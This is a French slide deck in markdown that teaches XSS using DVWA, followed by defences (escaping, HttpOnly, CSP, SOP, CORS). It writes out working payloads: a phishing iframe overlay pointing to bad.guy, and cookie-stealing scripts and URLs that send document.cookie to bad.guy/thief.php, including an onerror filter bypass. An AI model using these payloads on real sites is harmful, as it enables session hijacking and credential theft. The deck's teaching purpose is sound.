Skip to content
Snippets Groups Projects
xss.md 11.9 KiB
Newer Older
Vincent Mazenod's avatar
Vincent Mazenod committed
# XSS

## aka cross site script


### <i class="fa fa-cogs"></i> Principe

* Affichage de données utilisateur sans validation ou échappement
  * par oubli du développeur
  * par les messages d'erreurs renvoyés par le langage
    * tentative d'injection de code interprétable par le navigateur de la cible


### <i class="fa fa-user-secret"></i> Que peut on faire?

* Défacement de pages
* Redirection arbitraire
  * exploiter un CSRF (c.f. [CSRF](CSRF.htm))
* Vol de cookies (session)
* Browser hijacking

Note:
- Récupération d’informations
- souvent c'est du JS qu'on cherche à injecter
- redirectiona rbitriare signifie aussi réécriture d'url de formulaire à la volée
- détection automatique
  - élément envoyé dans la requête et repris dans la réponse
  - on commencera par esssayer d'envoyer de l'html


## XSS reflected

* ou encore réfléchie, non permanente
  * le code malicieux n'est stocké nulle part
    * injecté dans l'url et exécuté au moment de l'accès au lien malicieux
      * fait forcément appel à l'ingénierie sociale pour inciter à cliquer


## XSS stored

* ou encore stockée, permanente
  * le code malicieux est stocké
    * exécuté à chaque fois que la donnée malicieuse est affichée par un utilisateur
      * le recours à l'ingénierie sociale n'est pas forcément nécessaire

Note:
- dans le cas d'un CSRF on récupère rien on espère que ca a marché


## XSS

![Bob](images/xss/XSS-bob.png "Bob")  ![Fleche](images/xss/XSS-fleche.png "Fleche") ![Site faille](images/xss/XSS-sitefaille.png "Site faille") ![Serveur victime](images/xss/XSS-serveurvictime.png "Serveur victime")

1.Bob consulte la page faillible et repère une faille XSS


## XSS

![Bob](images/xss/XSS-bob.png "Bob") ![Scripts](images/xss/XSS-scripts.png "Scripts") ![Fleche](images/xss/XSS-fleche.png "Fleche") ![Serveur pirate](images/xss/XSS-serveurpirate.png "Serveur pirate")

2.Bob écrit un payload JS qui récupère par exemple des informations utilisateurs et les envoies sur son serveur

**Il rend ce script accessible via le XSS qu'il a découvert sur la page faillible**


## XSS

![Bob](images/xss/XSS-bob.png "Bob")  ![Fleche](images/xss/XSS-fleche.png "Fleche") ![Alice](images/xss/XSS-alice1.png "Alice")

3.Bob envoie l'url du XSS à Alice en l'incitant à cliquer sur un lien forgé **XSS réfléchie**

ou

3.attend simplement qu'elle se connecte une page compromise **XSS stockée**

Note:
- test du XSS souvent alert ... méthode plus discrète notamment pour XSS stored
  - console.log > alert


## XSS

![Alice](images/xss/XSS-alice2.png "Alice")  ![Fleche](images/xss/XSS-fleche.png "Fleche") ![Site piégé](images/xss/XSS-sitepiege.png "Site piégé") ![Serveur victime](images/xss/XSS-serveurvictime.png "Serveur victime")

Vincent Mazenod's avatar
Vincent Mazenod committed
4.Alice clique sur le lien forgé **XSS réfléchie**
Vincent Mazenod's avatar
Vincent Mazenod committed

ou

4.Alice consulte la page compromise et pense avoir à faire à l'originale **XSS stockée**


## XSS

![Alice](images/xss/XSS-alice2.png "Alice") ![Données utilisateur](images/xss/XSS-infos.gif "Données utilisateur") ![Fleche](images/xss/XSS-fleche.png "Fleche") ![Scripts](images/xss/XSS-scripts.png "Scripts") ![Serveur victime](images/xss/XSS-serveurvictime.png "Serveur victime")

Vincent Mazenod's avatar
Vincent Mazenod committed
5.la page compromise exécute le payload JS de Bob
Vincent Mazenod's avatar
Vincent Mazenod committed


## Défacement

### [XSS stored - security low](http://dv.wa/vulnerabilities/xss_s/)

* l'idée est de recouvrir la page
  * avec un message "p0wned" style
  * avec une page malicieuse
    * imiter un formulaire d'authentification légitime pour l'utilisateur
      * récupérer les données saisies et rediriger l'utilisateur
        * être le plus silencieux possible dans la navigation


### [XSS stored - security low](http://dv.wa/vulnerabilities/xss_s/)

 ```html
<iframe src="http://bad.guy/login.html"
  style="position: absolute; top:0; left: 0; width: 100%; height: 100%;">
</iframe>
```

* <i class="fa fa-bell-o"></i> maxlength="50" du textarea pose problème
  * contournable en utilisant burp comme proxy<!-- .element class="fragment rollin" -->
  * contournable avec l'inspecteur du navigateur (F12)<!-- .element class="fragment rollin" -->

!["inspector"](images/xss/inspector.png "inspector")<!-- .element class="fragment rollin" -->

Note:
- on a injecté que du HTML ...


## Vol de session

* Tout le contexte du navigateur est accessible
  * [créant une véritable empreinte de votre navigateur](https://panopticlick.eff.org)

* l'appel au script distant est réalisé en javascript

```js
<script>
location.replace("http://bad.guy/thief.php?cookie=" + document.cookie);
</script>
```


### [XSS stored - security medium](http://dv.wa/vulnerabilities/xss_s/)

filtrer la balise &lt;script&gt; ne suffit pas

```js
<img src="javascript:location.replace('http://bad.guy/thief.php?cookie=' + document.cookie)" />
```

mais [les navigateurs récents n'exécutent pas le js de l'attribut src de la balise img](https://www.mozilla.org/en-US/security/advisories/mfsa2006-72/)

```js
<img src="http://2.com/3.gif" onerror="javascript:location.replace('http://bad.guy/thief.php?cookie=' + document.cookie)" />
```

**il reste les événements ;)**

Note:
- coups de la limitation caractère côté HTML à faire péter avec l'inspecteur


## [XSS reflected - low medium](http://dv.wa/vulnerabilities/xss_r/)

Poc

```http
http://dv.wa/vulnerabilities/xss_r/?name=<script>alert('pipo')</script>
```

soit correctement encodée

```http
http://dv.wa/vulnerabilities/xss_r/?name=%3Cscript%3Ealert%28%27pipo%27%29%3C%2Fscript%3E
```


## défacement

```http
http://dv.wa/vulnerabilities/xss_r/?name=<iframe src="http://bad.guy/login.html" style="width: 100%; height: 100%; position: absolute; top:0; left: 0;"></iframe>
```

```http
http://dv.wa/vulnerabilities/xss_r/?name=%3Ciframe+src%3D%22http%3A%2F%2Fbad.guy%2Flogin.html%22+style%3D%22width%3A+100%25%3B+height%3A+100%25%3B+position%3A+absolute%3B+top%3A0%3B+left%3A+0%3B%22%3E%3C%2Fiframe%3E
```


## vol de session

```http
http://dv.wa/vulnerabilities/xss_r/?name=<script>location.replace('http://bad.guy/thief.php?cookie=' + document.cookie);</script>
```

```http
http://dv.wa/vulnerabilities/xss_r/?name=%3Cscript%3E+location.replace%28%27http%3A%2F%2Fbad.guy%2Fthief.php%3Fcookie%3D%27+%2B+document.cookie%29%3B+%3C%2Fscript%3E
```

Note:
- plus ciblée
  - nécessite plus d'ingéniosité pour obtenir le clic
  - quid de la confiance qu'on accorde au js chargés ailleurs
    - on ne les contrôle pas


## Browser Hijacking

* [BeEF - The Browser Exploitation Framework Project](http://beefproject.com/)
  * inclusion d'un hook.js
Vincent Mazenod's avatar
Vincent Mazenod committed
    * les navigateurs connectés à la page se comportent ensuite comme des zombies
Vincent Mazenod's avatar
Vincent Mazenod committed
      *  répondent aux payloads qu'on leur envoie

![Beef](images/xss/beef-webcam.jpg "Beef")<!-- .element style="margin: 10px" width="60%" -->


## <i class="fa fa-medkit"></i> Se préserver

* utiliser un moteur de template
  * échappe par défaut

* dans le `php.ini` pour éviter la manipulation des cookies via javascript

```http
session.cookie_httponly = 1
```


## <i class="fa fa-medkit"></i> Se préserver

* échapper / filtrer les entrées
  * [htmlspecialchars()](http://php.net/manual/fr/function.htmlspecialchars.php) transforme tous les caractères en entité html
    * [htmlentities()](http://php.net/manual/fr/function.htmlentities.php) fait l'opération inverse
  * listes blanches
    * Web Application Firewall (WAF)
      * [mod_security](https://www.modsecurity.org/)


## <i class="fa fa-medkit"></i> Se préserver

* <i class="fa fa-fire"></i> [XSS Filter Evasion Cheat Sheet](https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet)

* <i class="fa fa-fire"></i> [<i class="fa fa-github"></i> alcuadrado/hieroglyphy](https://github.com/alcuadrado/hieroglyphy)

* [<i class="fa fa-newspaper-o"></i> permet de convertir le code js en caractères non alphanumériques en le gardant fonctionnel](http://patriciopalladino.com/blog/2012/08/09/non-alphanumeric-javascript.html)

* coté client
  * [<i class="fa fa-firefox"></i> NoScript](https://addons.mozilla.org/fr/firefox/addon/noscript/) est une option

Note:
- waf pro mode apprentissage avant le lancement pre prod
  - mod_security aucun mode apprentissage


## [<i class="fa fa-medkit"></i> **CSP**: Content Security Policy](https://developer.mozilla.org/en-US/docs/Web/Security/CSP/CSP_policy_directives)

* En-tête renvoyée côté serveur
  * protéger son contenu
  * protéger ses utilisateurs
  * possibilité de reporting
    * quelles tentatives ont été menées


## [<i class="fa fa-medkit"></i> **CSP**: Content Security Policy](https://developer.mozilla.org/en-US/docs/Web/Security/CSP/CSP_policy_directives)

```http
Content-Security-Policy: script-src 'self' https://apis.google.com; frame-src 'none'
```

* informera le browser que
  * seuls les scripts en provenance de la page elle même et de apis.google.com pourront être exécutés
  * les balises iframes ne doivent pas être interprétées


## [<i class="fa fa-medkit"></i> **CSP**: Content Security Policy](https://developer.mozilla.org/en-US/docs/Web/Security/CSP/CSP_policy_directives)

<div style="text-align: center">
  ![CSP](images/xss/csp.png "CSP")
</div>

* [<i class="fa fa-newspaper-o"></i> Why is CSP Failing? Trends and Challenges in CSP Adoption](mweissbacher.com/publications/csp_raid.pdf)

Note:
- couvre le cas d'un XSS js dans une balise src
- couvre également le cas d'une iframe qui recouvre une page légitime


## [<i class="fa fa-medkit"></i> **SOP**: Same Origin Policy](https://developer.mozilla.org/fr/docs/Web/JavaScript/)

  * concerne *XMLHttpRequest*
    * restreint les interactionsaux ressources de même origine
      * protocole + "://" + hôte + ":" + [port]


## [<i class="fa fa-medkit"></i> **SOP**: Same Origin Policy](https://developer.mozilla.org/fr/docs/Web/JavaScript/)

protège l'intégrité de la page

```js
$(function() { // on Load jQuery style
  $.ajax({
    url: "http://bad-guy.com/data.php"
  }).done(function(untrustedData) {
    injectInMyDOM(untrustedData);
  });
});
```

<div style="text-align: center">
  ![SOP](images/xss/sop.png "SOP")
</div>


## [<i class="fa fa-medkit"></i> **SOP**: Same Origin Policy](https://developer.mozilla.org/fr/docs/Web/JavaScript/)

protège la confidentialité des sessions

```js
$(function() { // on Load jQuery style
  $.ajax({
    url: "https://gmail.com"
  }).done(function(sensitiveData) {
    $.post("http://bad-guy.com/data.php", { sensitive_data: sensitiveData });
  });
});
```


## [<i class="fa fa-medkit"></i> **CORS**: Cross Origin Resource Sharing](https://developer.mozilla.org/fr/docs/HTTP/Access_control_CORS)

* contrôler les accès en mode cross-site
  * concerne l'échange entre fournisseurs de services
* effectuer des transferts de données sécurisés
  * entre sources sûres niveau injection & confidentialité


## [<i class="fa fa-medkit"></i> **CORS** Cross Origin Resource Sharing](https://developer.mozilla.org/fr/docs/HTTP/Access_control_CORS)

le client ajoute automatiquement une en-tête HTTP

```http
Origin: http://www.foo.com
```

le serveur doit ajouter une en tête HTTP d'autorisation pour le domaine

```http
Access-Control-Allow-Origin: http://www.foo.com
```

en-tête d'autorisation pour tous les domaines

```http
Access-Control-Allow-Origin: *
```  


## [<i class="fa fa-medkit"></i> **CORS** Cross Origin Resource Sharing](https://developer.mozilla.org/fr/docs/HTTP/Access_control_CORS)

* autorise tous les verbes HTTP
  * [JSONP](http://igm.univ-mlv.fr/~dr/XPOSE2009/ajax_sop_jsonp/jsonp_presentation.html) n'autorisait que la méthode GET

  * [<i class="fa fa-stack-overflow"></i> Disable firefox same origin policy](http://stackoverflow.com/questions/17088609/disable-firefox-same-origin-policy)

Note:
- l'introduction de cette nouvelle possibilité implique nécessairement que les serveurs doivent gérer de nouvelles entêtes, et doivent renvoyer les ressources avec de nouvelles entêtes également
- doit être supporté par le navigateur
- la valeur * est possible mais risquée
- requêtes simples, pré-vérifiées avec le verbe OPTIONS, avec habilitations en forcant l'envoie du cookie